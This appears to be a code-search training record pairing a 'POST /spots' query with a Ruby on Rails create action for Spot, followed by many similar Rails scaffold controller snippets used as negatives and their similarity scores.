[ "def create\n @spot = Spot.new(params[:spot])\n\n respond_to do |format|\n if @spot.save\n flash[:notice] = 'Spot was successfully created.'\n format.html { redirect_to(@spot) }\n format.xml { render :xml => @spot, :status => :created, :location => @spot }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @spot.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @spot = Spot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spot }\n end\n end", "def new\n @spot = Spot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spot }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "def new\n @spot_activity = SpotActivity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spot_activity }\n end\n end", "def new\n @spit = Spit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spit }\n end\n end", "def new\n @spot_listing = SpotListing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spot_listing }\n end\n end", "def new\n @parking_spot = ParkingSpot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @parking_spot }\n end\n end", "def create\n @spot = Spot.new(params[:spot])\n \n respond_to do |format|\n if @spot.save\n format.html { redirect_to @spot, notice: 'Spot was successfully created.' }\n format.json { render json: @spot, status: :created, location: @spot }\n else\n format.html { render action: \"new\" }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @old_point_tag = OldPointTag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @old_point_tag }\n end\n end", "def create\n @spot = Spot.new(spot_params)\n\n respond_to do |format|\n if @spot.save\n format.html { redirect_to @spot, notice: 'Spot was successfully created.' }\n format.json { render :show, status: :created, location: @spot }\n else\n format.html { render :new }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @park = Park.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @park }\n end\n end", "def new\n @park = Park.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @park }\n end\n end", "def new\n @point = Point.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @point }\n end\n end", "def new\n @spot = Spot.new\n lat, lng = params[:ltng].scan(/\\((.+)\\)/).flatten.first.split(',')\n @spot.latitude = lat\n @spot.longitude = lng\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spot }\n end\n end", "def new\n @point = Point.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @point }\n end\n end", "def new\n @newspage = Newspage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspage }\n end\n end", "def new\n @tso = Tso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tso }\n end\n end", "def new\n @position = Position.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @position }\n end\n end", "def show\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spot }\n end\n end", "def show\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spot }\n end\n end", "def new\n @spit_type = SpitType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spit_type }\n end\n end", "def new\n @sprint = Sprint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sprint }\n end\n end", "def new\n @sprint = Sprint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sprint }\n end\n end", "def new\n @novel = Novel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @novel }\n end\n end", "def new\n\t\tlogger.debug(\"/routes/new params[:route] : #{params[:route].inspect}\")\n\t\t@route = Route.new(params[:route])\n\t\t@sports = Sport.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @route }\n\t\tend\n\tend", "def new\n @position = Position.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @position }\n end\n end", "def new\n @lookup_pettracer = LookupPettracer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_pettracer }\n end\n end", "def new\n @lookup_pettracer = LookupPettracer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_pettracer }\n end\n end", "def new\n @cloud = Cloud.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cloud }\n end\n end", "def new\n @shelf = Shelf.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @shelf }\n end\n end", "def create\n @spot = Spot.new(params[:spot])\n\n respond_to do |format|\n if @spot.save\n format.js\n format.html { redirect_to(@spot, :notice => 'Spot was successfully created.') }\n format.xml { render :xml => @spot, :status => :created, :location => @spot }\n else\n format.js { render :template => '/error.js', :locals => {:title => '作成できませんでした', :message => @spot.errors.full_messages.join(\"\\n\"), :script => nil} }\n format.html { render :action => \"new\" }\n format.xml { render :xml => @spot.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @dogpark = Dogpark.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dogpark }\n end\n end", "def new\n @sprint = Sprint.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sprint }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ontology }\n end\n end", "def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @place }\n end\n end", "def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @place }\n end\n end", "def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @place }\n end\n end", "def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @place }\n end\n end", "def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @place }\n end\n end", "def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @place }\n end\n end", "def new\n @place = Place.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @place }\n end\n end", "def new\n @listing = Listing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @listing }\n end\n end", "def new\n @st_pi = StPi.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @st_pi }\n end\n end", "def new\n @travel = Travel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @travel }\n end\n end", "def new\n @travel = Travel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @travel }\n end\n end", "def new\n @route_point = RoutePoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route_point }\n end\n end", "def new\n @travel_place = TravelPlace.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @travel_place }\n end\n end", "def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route }\n end\n end", "def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route }\n end\n end", "def new\n @rssnew = Rssnews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rssnew }\n end\n end", "def new\n @sphere = Sphere.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sphere }\n end\n end", "def new\n @press = Press.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @press }\n end\n end", "def new\n @lotto_type = LottoType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lotto_type }\n end\n end", "def new_releases\n api_call(\"https://api.spotify.com/\",\"/v1/browse/new-releases\")\n end", "def new\n @shot = Shot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @shot }\n end\n end", "def new\n @rest_service = RestService.new\n params[:annotations] = { }\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rest_service }\n end\n end", "def new\n @tourpoint = Tourpoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tourpoint }\n end\n end", "def new\n @kingdom = Kingdom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @kingdom }\n end\n end", "def new\n @tv = Tv.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tv }\n end\n end", "def new\n @thing_list = ThingList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing_list }\n end\n end", "def new\n @page_id = \"services\"\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service }\n end\n end", "def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing }\n end\n end", "def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end", "def new\n @price = Price.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @price }\n end\n end", "def new\n @slitting = Slitting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @slitting }\n end\n end", "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @location }\n end\n end", "def new\n @scraper = Scraper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scraper }\n end\n end", "def new\n @spiel = Spiel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spiel }\n end\n end", "def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end", "def new_rest\n @item_usage = ItemUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_usage }\n end\n end", "def new\n @waypoint = Waypoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @waypoint }\n end\n end", "def create\n @spot = Spot.new(params[:spot])\n @spot.spot_id = UUIDTools::UUID.timestamp_create().to_s\n @spot.user_id = current_user.id\n\n respond_to do |format|\n if @spot.save\n @userspot = UserSpots.new()\n @userspot.user_spots_id = UUIDTools::UUID.timestamp_create().to_s\n @userspot.spot_id = @spot.spot_id\n @userspot.user_id = current_user.id\n @userspot.save\n format.html { redirect_to @spot, notice: t(:spot_successfully_created) }\n format.json { render json: @spot, status: :created, location: @spot }\n else\n format.html { render action: \"new\" }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @url_search = UrlSearch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_search }\n end\n end", "def new\n @geoname = Geoname.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @geoname }\n end\n end", "def index\n @spots = Spot.find(:all) \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @spots }\n end\n end", "def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end", "def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end", "def new\n @sticker = Sticker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sticker }\n end\n end", "def new\n if params[:latitude] and params[:longitude]\n @spot = Spot.new(:latitude => params[:latitude], :longitude => params[:longitude])\n @zoom = 14\n else\n @spot = Spot.new(:latitude => Spot::DEFAULT_POSITION[:latitude], :longitude => Spot::DEFAULT_POSITION[:longitude])\n @zoom = Spot::DEFAULT_POSITION[:zoom]\n end\n\n respond_to do |format|\n format.js\n format.html # new.html.erb\n format.xml { render :xml => @spot }\n end\n end", "def new\n @pneighbour = Pneighbour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pneighbour }\n end\n end", "def new\n @vegetable = Vegetable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vegetable }\n end\n end", "def create\n @parking_spot = ParkingSpot.new(params[:parking_spot])\n\n respond_to do |format|\n if @parking_spot.save\n format.html { redirect_to @parking_spot, notice: 'Parking spot was successfully created.' }\n format.json { render json: @parking_spot, status: :created, location: @parking_spot }\n else\n format.html { render action: \"new\" }\n format.json { render json: @parking_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @slot = Slot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @slot }\n end\n end", "def new\n @serie = Serie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @serie }\n end\n end", "def new\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml\n end\n end", "def new\n @price_list = PriceList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @price_list }\n end\n end", "def new\n @location = Location.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end", "def new\n @venture = Venture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @venture }\n end\n end", "def new\n @neighborhood = Neighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @neighborhood }\n end\n end", "def new\n @service_version = ServiceVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service_version }\n end\n end", "def new_rest\n @entry_item = EntryItem.new\n\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @entry_item }\n end\n end", "def new\n @poll = Poll.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @poll }\n end\n end", "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end", "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end", "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end", "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end", "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end", "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end" ]
[ "0.719872", "0.7153215", "0.7153215", "0.7001926", "0.6915244", "0.6655957", "0.66164356", "0.66032326", "0.6539377", "0.65134215", "0.64906764", "0.6440647", "0.6440647", "0.6369867", "0.6358691", "0.63531816", "0.6338194", "0.63215154", "0.63082176", "0.628201", "0.6281695", "0.62796587", "0.6259404", "0.6259404", "0.6257169", "0.6256885", "0.62529457", "0.62460506", "0.6245226", "0.62432396", "0.6240308", "0.6238254", "0.62367535", "0.6224515", "0.6224483", "0.62146634", "0.62146634", "0.62146634", "0.62146634", "0.62146634", "0.62146634", "0.62146634", "0.61973155", "0.619553", "0.61901134", "0.61901134", "0.6189896", "0.61860496", "0.6178375", "0.6178375", "0.6172376", "0.6167775", "0.6164657", "0.615561", "0.61533844", "0.614432", "0.61422914", "0.61334693", "0.6125757", "0.61253077", "0.6122786", "0.61225885", "0.61156774", "0.6112718", "0.6111563", "0.6111553", "0.61081433", "0.6106238", "0.60896397", "0.60891896", "0.6081473", "0.6067815", "0.606463", "0.6063434", "0.60582095", "0.6053548", "0.60396004", "0.60338813", "0.60338813", "0.6032429", "0.60323083", "0.602885", "0.6024997", "0.6022948", "0.6016826", "0.6013571", "0.6012887", "0.6012833", "0.60106385", "0.6010269", "0.600883", "0.600634", "0.6006156", "0.600607", "0.6003182", "0.6002413", "0.6002413", "0.6002413", "0.6002413", "0.6002413" ]
0.6175506
50
POST /spots POST /spots.xml
def create @spot = Spot.new(params[:spot]) respond_to do |format| if @spot.save flash[:notice] = 'Spot was successfully created.' format.html { redirect_to(@spot) } format.xml { render :xml => @spot, :status => :created, :location => @spot } else format.html { render :action => "new" } format.xml { render :xml => @spot.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @spot = Spot.new(spot_params)\n\n respond_to do |format|\n if @spot.save\n format.html { redirect_to @spot, notice: 'Spot was successfully created.' }\n format.json { render :show, status: :created, location: @spot }\n else\n format.html { render :new }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @spot = Spot.new(params[:spot])\n \n respond_to do |format|\n if @spot.save\n format.html { redirect_to @spot, notice: 'Spot was successfully created.' }\n format.json { render json: @spot, status: :created, location: @spot }\n else\n format.html { render action: \"new\" }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n p_name = params[:spot][:name]\n p_latitude = params[:spot][:latitude]\n p_longitude = params[:spot][:longitude]\n p_address = params[:spot][:address]\n p_type = params[:spot][:type]\n p_img = params[:spot][:img]\n p_rating = params[:spot][:rating]\n p_schedule = params[:spot][:schedule]\n p_telephone = params[:spot][:telephone]\n p_website = params[:spot][:website]\n p_description = params[:spot][:description]\n p_activities = params[:spot][:activities].split(' ')\n p_price = params[:spot][:price]\n \n @spot = Spot.new(\n name: p_name,\n latitude: p_latitude,\n longitude: p_longitude,\n address: p_address,\n type: p_type,\n img: p_img,\n rating: p_rating,\n schedule: p_schedule,\n telephone: p_telephone,\n website:p_website,\n description:p_description,\n activities: p_activities,\n price: p_price\n )\n\n respond_to do |format|\n if @spot.save\n format.html { redirect_to @spot, notice: 'Spot was successfully created.' }\n format.json { render :show, status: :created, location: @spot }\n else\n format.html { render :new }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @spot = Spot.new(params[:spot])\n @spot.spot_id = UUIDTools::UUID.timestamp_create().to_s\n @spot.user_id = current_user.id\n\n respond_to do |format|\n if @spot.save\n @userspot = UserSpots.new()\n @userspot.user_spots_id = UUIDTools::UUID.timestamp_create().to_s\n @userspot.spot_id = @spot.spot_id\n @userspot.user_id = current_user.id\n @userspot.save\n format.html { redirect_to @spot, notice: t(:spot_successfully_created) }\n format.json { render json: @spot, status: :created, location: @spot }\n else\n format.html { render action: \"new\" }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def spot_params\n params.require(:spot).permit(:name, :category_id, :description, :address, :tel, :url, :latitude, :longitude)\n end", "def spot_params\n params.require(:spot).permit(:name, :latitude, :longitude, :address, :type, :img, :telephone, :rating, :schedule, :website, :description, :activities, :price)\n end", "def create\n @parking_spot = ParkingSpot.new(params[:parking_spot])\n\n respond_to do |format|\n if @parking_spot.save\n format.html { redirect_to @parking_spot, notice: 'Parking spot was successfully created.' }\n format.json { render json: @parking_spot, status: :created, location: @parking_spot }\n else\n format.html { render action: \"new\" }\n format.json { render json: @parking_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @spot = Spot.new(params[:spot])\n\n respond_to do |format|\n if @spot.save\n format.js\n format.html { redirect_to(@spot, :notice => 'Spot was successfully created.') }\n format.xml { render :xml => @spot, :status => :created, :location => @spot }\n else\n format.js { render :template => '/error.js', :locals => {:title => '作成できませんでした', :message => @spot.errors.full_messages.join(\"\\n\"), :script => nil} }\n format.html { render :action => \"new\" }\n format.xml { render :xml => @spot.errors, :status => :unprocessable_entity }\n end\n end\n end", "def spot_params\n params.require(:spot).permit(:latitude, :longitude, :address)\n end", "def spot_params\n params.require(:spot).permit(:location_name, :position, :lat, :lng, :stay_time)\n end", "def spot_params\n params.require(:spot).permit(:name, :description, :city_id, :user_id, :image_url)\n end", "def spot_params\n params.require(:spot).permit(\n :name,\n :description,\n :hidden,\n :season,\n :created_at,\n :updated_at,\n :latitude,\n :longitude,\n :image,\n :region_id,\n :tide_optimal_min_metres,\n :tide_optimal_max_metres,\n :swell_optimal_size_min_metres,\n :swell_optimal_size_max_metres,\n :swell_optimal_direction_min,\n :swell_optimal_direction_max,\n :wind_optimal_strength_min_kmh,\n :wind_optimal_strength_max_kmh,\n :wind_optimal_direction_min,\n :wind_optimal_direction_max,\n :wave_model_lat,\n :wave_model_lon,\n :willyweather_location_id,\n :weighting_swell,\n :weighting_wind,\n :weighting_tide,\n :wave_model_size_coefficient,\n :feature_ids => []\n )\n end", "def spot_params\n params.require(:spot).permit(:name, :title, :description, :category_id)\n end", "def create\n if info = parse_input(params)\n name = info.delete(:name)\n alt_names = info.delete(:alt_names)\n obstacles = info.delete(:obstacles)\n\n if spot = SkateSpot.new(info)\n spot.alt_names = alt_names.map! { |n| SpotName.find_or_create_by(:name => n, :spot => spot) } if alt_names\n spot.name = SpotName.find_or_create_by(:name => name, :spot => spot) if name\n spot.obstacles = obstacles.map! { |o| Obstacle.create(:type => ObstacleType.where(:name => o['type']).first, :geometry => o['geometry'], :spot => spot) } if obstacles\n\n return render :json => { :status => (spot.save == true ? :success : :unprocessable_entity) }\n end\n end\n\n render :json => { :status => :unprocessable_entity }\n\n rescue ActiveRecord::RecordNotSaved\n render :json => { :status => :unprocessable_entity }\n end", "def save_spots(spots)\n # debug\n # puts spots\n\n # spots.first irá deletar todos os sports do primeiro usuario do array,\n # como para todas as posições do array estou usando o mesmo usuário, com isso todos serão deletados\n spotsCollection.delete_many({ user: spots.first[:user] })\n spotsCollection.insert_many(spots)\n end", "def create\n @spot_activity = SpotActivity.new(params[:spot_activity])\n\n respond_to do |format|\n if @spot_activity.save\n format.html { redirect_to(@spot_activity, :notice => 'SpotActivity was successfully created.') }\n format.xml { render :xml => @spot_activity, :status => :created, :location => @spot_activity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @spot_activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @microspot = Microspot.new(microspot_params)\n \n respond_to do |format|\n if @microspot.save\n format.html { redirect_to @microspot, notice: 'Microspot was successfully created.' }\n format.json { render :show, status: :created, location: @microspot }\n else\n format.html { render :new }\n format.json { render json: @microspot.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_spot\n @spot = Spot.find(params[:spot_id])\n end", "def create\n @study_spot = StudySpot.new(study_spot_params)\n respond_to do |format|\n if @study_spot.save\n format.html { redirect_to @study_spot, notice: 'Study spot was successfully created.' }\n format.json { render :show, status: :created, location: @study_spot }\n else\n format.html { render :new }\n format.json { render json: @study_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @garage_spot = GarageSpot.new(garage_spot_params)\n\n respond_to do |format|\n if @garage_spot.save\n format.html { redirect_to @garage_spot, notice: 'Garage spot was successfully created.' }\n format.json { render :show, status: :created, location: @garage_spot }\n else\n format.html { render :new }\n format.json { render json: @garage_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @turistic_spot_post = TuristicSpotPost.new(turistic_spot_post_params)\n\n respond_to do |format|\n if @turistic_spot_post.save\n format.html { redirect_to @turistic_spot_post, notice: 'Turistic spot post was successfully created.' }\n format.json { render :show, status: :created, location: @turistic_spot_post }\n else\n format.html { render :new }\n format.json { render json: @turistic_spot_post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @spot = Spot.new(params[:spot])\n @spot.log_user_info(request)\n\n respond_to do |format|\n if (!recaptcha_enabled? || verify_recaptcha(:model => @spot)) and @spot.save\n format.html { redirect_to @spot, notice: 'Spot was successfully created.' }\n format.json { render json: @spot, status: :created, location: @spot }\n else\n format.html { render action: \"new\" }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @spots = Spot.find(:all) \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @spots }\n end\n end", "def set_spot\n @spot = Spot.find(params[:id])\n end", "def create\n @dive_spot = DiveSpot.new(dive_spot_params)\n\n respond_to do |format|\n if @dive_spot.save\n format.html { redirect_to @dive_spot, notice: 'Dive spot was successfully created.' }\n format.json { render :show, status: :created, location: @dive_spot }\n else\n format.html { render :new }\n format.json { render json: @dive_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def spot_params\n params.require(:spot).permit(:name, :latitude, :longitude, :country_id, \n photos_attributes: [:id, :image, :imageable_id], seasons_attributes: [:id, :spot_id, :sport_id, :months])\n end", "def index\n @spots = Spot.all\n end", "def spot_params\n params.require(:spot).permit( :name, :latitude, :longitude, :country_id, \n photos_attributes: [:id, :image, :imageable_id], seasons_attributes: [:id, :spot_id, :sport_id, :months])\n end", "def set_spot\n @spot = Spot.find(params[:id])\n end", "def set_spot\n @spot = Spot.find(params[:id])\n end", "def set_spot\n @spot = Spot.find(params[:id])\n end", "def set_spot\n @spot = Spot.find(params[:id])\n end", "def create\n #birdspotter id must be present\n if params[:birdspotter].blank?\n render json: {\n status: 400,\n message: \"Skaparens id saknas.\" \n }\n end\n \n #at least one bird must be present\n if params[:bird].blank?\n render json: {\n status: 400,\n message: \"En birdspot måste innehålla minst en fågel.\" \n }\n end\n \n #latitude and longitude must be present\n if params[:latitude].blank? || params[:longitude].blank?\n render json: {\n status: 400,\n message: \"En birdspot måste innehålla latitud och longitude.\" \n }\n end\n \n #check if birdspotter exists\n if Api::V1::Birdspotter.exists?(params[:birdspotter])\n \n #if exists find birdspotter\n @birdspotter = Api::V1::Birdspotter.find_by_id(params[:birdspotter])\n \n #create a new spot and append to birdspotter\n @spot = Api::V1::Spot.create(:latitude => params[:latitude], :longitude => params[:longitude])\n if @spot.save\n @birdspotter.spots << @spot\n \n #iterate through all birds and append each bird to newly created spot\n params[:bird].tr(' ','').split(',').each do |bird_id|\n if Api::V1::Bird.exists?(bird_id)\n @bird = Api::V1::Bird.find_by_id(bird_id)\n @spot.birds << @bird\n else\n render json: {\n status: 404,\n message: \"En eller flera fåglar med det id:t finns inte.\"\n }\n end\n end\n else\n render json: {\n status: 400,\n message: @spot.errors.full_messages \n }\n end\n else\n render json: {\n status: 404,\n message: \"Skapare med det id:t finns inte.\" \n }\n \n end\n \n render json: { \n status: 201,\n message: \"Din birdspot är registerad. Tack!\", \n spots: Api::V1::SpotSerializer.new(@spot) \n }\n end", "def google_places\n @client = GooglePlaces::Client.new(ENV['GOOGLE_API_KEY'])\n @results = @client.spots(params[:latitude], params[:longitude], :name => 'bar', :types => ['bar', 'night_club'], :radius => 10000)\n @spots = @results.map do |spot|\n spot.place_id = spot.id\n spot\n end\n render json: @spots\n end", "def create\n @spot = Spot.new(spot_params)\n\n respond_to do |format|\n if @spot.save\n if params[:photos]\n params[:photos]['image'].each do |a|\n @photo = @spot.photos.create!(:image => a, :imageable_id => @spot.id)\n end\n end\n format.html { redirect_to [@country,@spot], notice: \"Spot was successfully created.\" }\n else\n format.html { render :new }\n end\n end\n end", "def create\n @spot = Spot.new(spot_params)\n\n respond_to do |format|\n if @spot.save\n if params[:photos]\n params[:photos]['image'].each do |a|\n @photo = @spot.photos.create!(:image => a, :imageable_id => @spot.id)\n end\n end\n format.html { redirect_to [@country,@spot], notice: \"Spot was successfully created.\" }\n else\n format.html { render :new }\n end\n end\n end", "def set_spot\n @spot = Spot.find_by_id(params[:id])\n end", "def seo_submit\n for search_engine in ::Pingr::SUPPORTED_SEARCH_ENGINES\n ::Pingr::Request.new(search_engine, pages_url(format: :xml)).ping\n end\n \n redirect_to({:action => :index}, {:notice => '<strong>Yay!</strong> Sitemap XML has been submitted to all supported search engines!'.html_safe})\n end", "def create\n @card_spot = CardSpot.new(card_spot_params)\n\n respond_to do |format|\n if @card_spot.save\n format.html { redirect_to @card_spot, notice: 'Card spot was successfully created.' }\n format.json { render :show, status: :created, location: @card_spot }\n else\n format.html { render :new }\n format.json { render json: @card_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def spot\n if Api::V1::Spot.exists?(params[:id])\n spot = Api::V1::Spot.find(params[:id])\n render json: {\n status: 200,\n message: \"OK\",\n spot: Api::V1::SpotSerializer.new(spot), \n }\n else\n render json: {\n status: 404,\n message: \"Det finns ingen birdspot med det id:t.\"\n }\n end\n end", "def create\n @trip = Trip.new(trip_params)\n\n respond_to do |format|\n if @trip.save\n\n @client = GooglePlaces::Client.new(\"AIzaSyDslRFZO4CcrhN9M9gchkS0VKLWrOB8J_Y\")\n\n # @attractions = JSON.parse(@trip.tag).join(' ')\n places = @client.spots_by_query(\"tourist landmark in #{@trip.location} \", :radius => @trip.location_radius, :exclude => 'lodging')\n\n # https://maps.googleapis.com/maps/api/place/textsearch/json?query=points+of+interest+for+tourists+in+aberdeen&radius=5000&key=AIzaSyCsJcCSDOx5fdOlmWagQZabLeAe6EGxNSI\n\n places.take(@trip.sightsnum).each do |place|\n if place.photos[0]\n photo_url = place.photos[0].fetch_url(800)\n end\n p = @trip.places.create :name => place.name, :google_id => place.place_id, :latitude => place.lat, :longitude => place.lng, :photo_url => photo_url\n end\n\n format.html { redirect_to @trip, notice: 'Trip was successfully created.' }\n format.json { render :show, status: :created, location: @trip }\n else\n format.html { render :new }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @spots = Spot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spots }\n end\n end", "def create\n @roster_spot = RosterSpot.new(roster_spot_params)\n\n respond_to do |format|\n if @roster_spot.save\n format.html { redirect_to @roster_spot, notice: 'Roster spot was successfully created.' }\n format.json { render action: 'show', status: :created, location: @roster_spot }\n else\n format.html { render action: 'new' }\n format.json { render json: @roster_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_spot(spot)\n \n spotsCollection.delete_many({ user: spot[:user] })\n result = spotsCollection.insert_one(spot)\n return result.inserted_id\n 